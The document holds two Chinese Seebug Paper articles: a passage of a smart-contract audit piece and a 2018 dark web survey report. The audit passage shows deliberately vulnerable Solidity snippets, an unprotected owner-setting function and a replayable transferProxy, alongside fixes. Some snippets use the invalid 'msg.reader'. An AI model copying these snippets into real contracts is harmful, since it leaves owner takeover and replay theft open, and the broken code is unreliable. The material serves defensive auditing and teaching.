2016年7月,The DAO被攻击者使用重入漏洞取走了所有代币,损失超过60亿,直接导致了eth的硬分叉,影响深远。
2017年7月20日,Parity Multisig电子钱包版本1.5+的漏洞被发现,使得攻击者从三个高安全的多重签名合约中窃取到超过15万ETH ,其事件原因是由于未做限制的 delegatecall 函数调用了合约初始化函数导致合约拥有者被修改。
2018年6月16日,「隐形人真忙」在先知大会上分享了「智能合约消息调用攻防」的议题,其中提到了一种新的攻击场景——call注⼊,主要介绍了利用对call调用处理不当,配合一定的应用场景的一种攻击手段。接着于 2018年6月20日,ATN代币团队发布「ATN抵御黑客攻击的报告」,报告指出黑客利用call注入攻击漏洞修改合约拥有者,然后给自己发行代币,从而造成 ATN 代币增发。
2018年6月26日,知道创宇区块链安全研究团队在Seebug Paper上公开了《以太坊 Solidity 合约 call 函数簇滥用导致的安全风险》。
3、权限控制错误
在智能合约中,合约开发者一般都会设置一些用于合约所有者,但如果开发者疏忽写错了函数权限,就有可能导致所有者转移等严重后果。
123function initContract() public {owner = msg.reader;}上述代码函数就需要设置onlyOwner。
4、重放攻击
2018年,DEFCON26上来自 360 独角兽安全团队(UnicornTeam)的 Zhenzuan Bai, Yuwei Zheng 等分享了议题《Your May Have Paid More than You Imagine:Replay Attacks on Ethereum Smart Contracts》
在攻击中提出了智能合约中比较特殊的委托概念。
在资产管理体系中,常有委托管理的情况,委托人将资产给受托人管理,委托人支付一定的费用给受托人。这个业务场景在智能合约中也比较普遍。
这里举例子为transferProxy函数,该函数用于当user1转token给user3,但没有eth来支付gasprice,所以委托user2代理支付,通过调用transferProxy来完成。
1234567891011121314151617function transferProxy(address _from, address _to, uint256 _value, uint256 _fee,uint8 _v, bytes32 _r, bytes32 _s) public returns (bool){if(balances[_from] < _fee + _value|| _fee > _fee + _value) revert();uint256 nonce = nonces[_from];bytes32 h = keccak256(_from,_to,_value,_fee,nonce,address(this));if(_from != ecrecover(h,_v,_r,_s)) revert();if(balances[_to] + _value < balances[_to]|| balances[msg.sender] + _fee < balances[msg.sender]) revert();balances[_to] += _value;emit Transfer(_from, _to, _value);balances[msg.sender] += _fee;emit Transfer(_from, msg.sender, _fee);balances[_from] -= _value + _fee;nonces[_from] = nonce + 1;return true;}上述代码nonce值可以被预测,而其他变量不变的情况下,可以通过重放攻击来多次转账。
三、漏洞影响范围
使用Haotian平台智能合约审计功能可以准确扫描到该类型问题。
基于Haotian平台智能合约审计功能规则,我们对全网的公开的共42538个合约代码进行了扫描,其中共1852个合约涉及到这类问题。
1、溢出问题
截止2018年9月5日,我们发现了391个存在算数溢出问题的合约代码,其中332个仍处于交易状态,其中交易量最高的10个合约情况如下:
截止2018年9月5日,我们发现了1636个存在超额铸币销币问题的合约代码,其中1364个仍处于交易状态,其中交易量最高的10个合约情况如下:
2、call注入
截止2018年9月5日,我们发现了204个存在call注入问题的合约代码,其中140个仍处于交易状态,其中交易量最高的10个合约情况如下:
3、重放攻击
截止2018年9月5日,我们发现了18个存在重放攻击隐患问题的合约代码,其中16个仍处于交易状态,其中交易量最高的10个合约情况如下:
四、修复方式
1、溢出问题
1) 算术溢出问题
在调用加减乘除时,通常的修复方式都是使用openzeppelin-safeMath,但也可以通过对不同变量的判断来限制,但很难对乘法和指数做什么限制。
12345678function transfer(address _to, uint256 _amount) public returns (bool success) {require(_to != address(0));require(_amount <= balances[msg.sender]);balances[msg.sender] = balances[msg.sender].sub(_amount);balances[_to] = balances[_to].add(_amount);emit Transfer(msg.sender, _to, _amount);return true;}2)铸币烧币溢出问题
铸币函数中,应对totalSupply设置上限,避免因为算术溢出等漏洞导致恶意铸币增发。
在铸币烧币加上合理的权限限制可以有效减少该问题危害。
123456789101112contract OPL {// Public variablesstring public name;string public symbol;uint8 public decimals = 18; // 18 decimalsbool public adminVer = false;address public owner;uint256 public totalSupply;function OPL() public {totalSupply = 210000000 * 10 ** uint256(decimals);...}2、call注入
call函数调用时,应该做严格的权限控制,或直接写死call调用的函数。避免call函数可以被用户控制。
在可能存在重入漏洞的代码中,经可能使用transfer函数完成转账,或者限制call执行的gas,都可以有效的减少该问题的危害。
12345678910111213141516171819202122232425262728contract EtherStore {// initialise the mutexbool reEntrancyMutex = false;uint256 public withdrawalLimit = 1 ether;mapping(address => uint256) public lastWithdrawTime;mapping(address => uint256) public balances;function depositFunds() public payable {balances[msg.sender] += msg.value;}function withdrawFunds (uint256 _weiToWithdraw) public {require(!reEntrancyMutex);require(balances[msg.sender] >= _weiToWithdraw);// limit the withdrawalrequire(_weiToWithdraw <= withdrawalLimit);// limit the time allowed to withdrawrequire(now >= lastWithdrawTime[msg.sender] + 1 weeks);balances[msg.sender] -= _weiToWithdraw;lastWithdrawTime[msg.sender] = now;// set the reEntrancy mutex before the external callreEntrancyMutex = true;msg.sender.transfer(_weiToWithdraw);// release the mutex after the external callreEntrancyMutex = false;}}上述代码是一种用互斥锁来避免递归防护方式。
3、权限控制错误
合约中不同函数应设置合理的权限
检查合约中各函数是否正确使用了public、private等关键词进行可见性修饰,检查合约是否正确定义并使用了modifier对关键函数进行访问限制,避免越权导致的问题。
123function initContract() public OnlyOwner {owner = msg.reader;}4、重放攻击
合约中如果涉及委托管理的需求,应注意验证的不可复用性,避免重放攻击。
其中主要的两点在于: 1、避免使用transferProxy函数。采用更靠谱的签名方式签名。 2、nonce机制其自增可预测与这种签名方式违背,导致可以被预测。尽量避免nonce自增。
五、一些思考
在完善智能合约审计checklist时,我选取了一部分问题将其归为编码安全问题,这类安全问题往往是开发者疏忽导致合约代码出现漏洞,攻击者利用代码中的漏洞来攻击,往往会导致严重的盗币事件。
在我们使用HaoTian对全网的公开合约进行扫描和监控时,我们发现文章中提到的几个问题涉及到的合约较少。由于智能合约代码公开透明的特性,加上这类问题比较容易检查出,一旦出现就会导致对合约的毁灭性打击,所以大部分合约开发人员都会注意到这类问题。但在不容易被人们发现的未公开合约中,或许还有大批潜在的问题存在。
这里我们建议所有的开发者重新审视自己的合约代码,检查是否存在编码安全问题,避免不必要的麻烦或严重的安全问题。
智能合约审计服务
针对目前主流的以太坊应用,知道创宇提供专业权威的智能合约审计服务,规避因合约安全问题导致的财产损失,为各类以太坊应用安全保驾护航。
知道创宇404智能合约安全审计团队: https://www.scanv.com/lca/index.html
联系电话:(086) 136 8133 5016(沈经理,工作日:10:00-18:00)欢迎扫码咨询:区块链行业安全解决方案
黑客通过DDoS攻击、CC攻击、系统漏洞、代码漏洞、业务流程漏洞、API-Key漏洞等进行攻击和入侵,给区块链项目的管理运营团队及用户造成巨大的经济损失。知道创宇十余年安全经验,凭借多重防护+云端大数据技术,为区块链应用提供专属安全解决方案。
欢迎扫码咨询:
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/696/
-
2018上半年暗网研究报告
作者:知道创宇404实验室
报告下载:《2018上半年暗网研究报告》1 基本概念
1.1 Deep web/Dark web/Darknet
讲述暗网之前,需要先了解“深网”(Deep web)、“暗网”(Dark web) 和“黑暗网络”(Darknet) 这三个词。虽然媒体可能经常交替使用它们,但实际上它们代表着截然不同而又相关的互联网区段。
“深网”(Deep web) 是指服务器上可通过标准的网络浏览器和连接方法访问的页面和服务,但主流搜索引擎不会收录这些页面和服务。搜索引擎之所以不会收录深网,通常是因为网站或服务的配置错误、拒绝爬虫爬取信息、需要付费查看、需要注册查看或其他内容访问限制。
“暗网”(Dark web) 是深网中相对较小的一部分,与被故意隐藏的 Web 服务和页面有关。仅使用标准浏览器无法直接访问这些服务和页面,必须依靠使用覆盖网络 (Overlay Network);而这种网络需要特定访问权限、代理配置、专用软件或特殊网络协议。
“黑暗网络”(Darknet) 是在网络层访问受限的框架,例如 Tor 或 I2P。私有 VPN 和网状网络 (Mesh Network) 也属于这个类别。通过这些框架的网络流量会被屏蔽。当进行数据传输时,系统只会显示您连接的黑暗网络以及您传输了多少数据,而不一定会显示您访问的网站或所涉及数据的内容。与之相反的是,直接与明网(Clean Net)或与未加密的表网服务和深网服务交互。在这种情况下,您与所请求资源之间的互联网服务提供商 (ISP) 和网络运营商可以看到您传输的流量内容。
1.2 暗网 (Dark Web) 的组成
暗网只能通过Tor (The Onion Routing)和I2P(Invisible Internet Project)等网络访问。
Tor又名洋葱网络,是用于匿名通信的软件,该名称源自原始软件项目名称“The Onion Router”的首字母缩写词,Tor网络由超过七千个中继节点组成,每个中继节点都是由全球志愿者免费提供,经过层层中继节点的中转,从而达到隐藏用户真实地址、避免网络监控及流量分析的目的。
I2P网络是由I2P路由器以洋葱路由方式组成的表层网络,创建于其上的应用程序可以安全匿名的相互通信。它可以同时使用UDP及TCP协议,支持UPnP映射。其应用包括匿名上网、聊天、网站搭建和文件传输。
通过知道创宇“暗网雷达”的实时监测数据表明,Tor 网络大约拥有12万个独立域名(onion address),而I2P网络公开地址薄大约只有8千个地址,体量相对 Tor 网络要小得多。
2 暗网的现状
2.1 Tor全球中继节点分布
截至2018年7月31日,我们统计了全球中继节点的分布状况,全球总计有17635个中继节点,其中正在运行的有6386个,它们的平均带宽为5.33MB/s,最大带宽为99MB/s;相比其他区域而言,北美和欧洲的带宽更大;大部分中继节点分布在北美和欧洲,中国香港只有6个。
因此可以得出结论,相比表网而言,暗网的规模要小的很多,Tor 网络节点带宽不足以支撑超大的网络流量,网络媒体关于暗网与表网的“冰山比喻”有些夸张了。
2.2 Tor 网络数据统计
根据Tor官方项目的统计数据显示,2018年上半年Tor暗网地址(onion addresses (version 2 only))数量峰值为121078个。
图2.2 暗网地址数量Tor网络来自中国用户数量平均每天1159人,高峰期为2018年5月9日,达到3951人,绝大多数暗网中文用户使用 Meet 类型的流量访问Tor暗网。
图2.2. 暗网中国用户数量统计针对约12万左右的暗网域名,我们深入进行了研究,得出结论:
- Onion域名每日存活量约1.2万左右,只占总数的10%;
- Onion v2 类型的域名有121451个,v3类型的域名只有379个;
- 每日平均暗网新增数量为30个;
2.3 Tor暗网的主要类别
通过知道创宇“暗网雷达”的监测,我们将暗网归为12大类,各类占比如上图所示;通过对各类中独立域名的标题进行整合分析,提取网站标题中关键字出现的频率,生成词云:
- 商业类占18.98%;其中包括交易市场,自营商店,第三方托管平台(网站担保);交易品种大多是信用卡、枪支、毒品、护照、电子产品、伪钞、欧元票据、亚马逊礼品卡、解密服务、杀手服务、比特币洗钱服务等;大多数网站使用比特币进行交易。
- 个人类占5.90%;包括个人博客,页面,书籍等。
- 社会类占4.57%;包括论坛,暗网维基等。
- 其他语言(非英语)占3.82%;
- 主机托管类占3.05%;主要为暗网服务托管商的宣传站,介绍其机器性能与架构。
- 成人类占2.87%;
- 技术类占2.74%;分享技术/出售黑客技术/售卖0day/漏洞利用
- 核心网站占1.91%;包括暗网搜索引擎,暗网链接目录等
- 通讯类占1.79%;包括聊天室,邮件服务,暗网邮箱
- 政治与宗教类占1.34%;包括暗网的新闻媒体机构,全球维基解密,政党丑闻,激进主义言论,传教等。
- 赌博类占0.46%;网络赌场等。
- 其他类(艺术,音乐,需登陆的,无内容,被查封的,视频等)占52.57%;
可以看到”Freedom Hosting II - hacked”这几个词在各大类中都占据很高的比例。原因是匿名者组织(Anonymous)攻击了当时最大的Tor暗网托管服务提供商Freedom Hosting II,因为它向大量共享儿童色情图片的网站提供主机托管服务。直接导致约20%的Tor网站关闭。
2.4 Tor暗网Web服务分布
我们统计了排名前20的Web服务器, 绝大多数暗网网站使用Nginx和Apache作为Web服务器,约1%的暗网使用了Cloudflare作为其 DDoS防护措施。
2.5 Tor暗网开放端口分布
http 80端口占69.55%;smtp 25端口占比23.24%;https 443端口占2.88%;ssh 22端口占1.68%。
2.6 Tor暗网语种分布
通过机器学习分析网站的标题和内容,我们将暗网进行了语种归类,Tor暗网语种总数有80种,英语依旧是暗网中最流行的语言,占比高达82.02%;接着依次是俄语3.77%、丹麦语2.22%、德语1.73%、拉丁语1.26%、西班牙语1.26%、法语1.13%、葡萄牙语1.00%、汉语0.75%、意大利语0.60%。
3 暗网的威胁
由于暗网的匿名特性,暗网中充斥着大量欺诈,非法的交易,没有限制的信息泄露,甚至是危害国家安全的犯罪等, 这些风险一直在威胁着社会,企业和国家的安全。2018年上半年,中国互联网就有大量的疑似数据泄露事件的信息在暗网传播,例如:《某视频网站内网权限及千万条用户数据库暗网售卖事件》
- 2018年3月8日,黑客在暗网论坛发布某视频网站1500万一手用户数据
- 2018年6月9日,黑客在暗网论坛发布某视频网站 SHLL+内网权限并公布了300条用户数据
- 2018年6月13日凌晨,某视频网站官方发布公告称网站遭遇黑客攻击,近千万条用户数据外泄,提醒用户修改密码
另外还有诸如
- 某省1000万学籍信息在暗网出售
- 某快递公司10亿条快递物流数据暗网出售
等一系列的隐私信息泄露的事件在中国互联网引起广泛传播和关注。
暗网也成为各种威胁情报信息的重要来源之一。
从我们监测的数据来看,暗网还在呈现缓慢增长的态势,随着暗网用户的增多,黑市及加密数字货币的发展,更多的黑客在利益的的驱动下开展各种活动,把之前通过表网(互联网)传播的非法交易更多的转移至暗网,通过各种技术手段躲避追踪。对监管和调查造成了一定的困难。
面对日益增长的暗网威胁, 知道创宇404安全研究团队会持续通过技术手段来测绘暗网,提供威胁情报,追踪和对抗来自暗网的威胁,为了更好更安全的互联网。
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/686/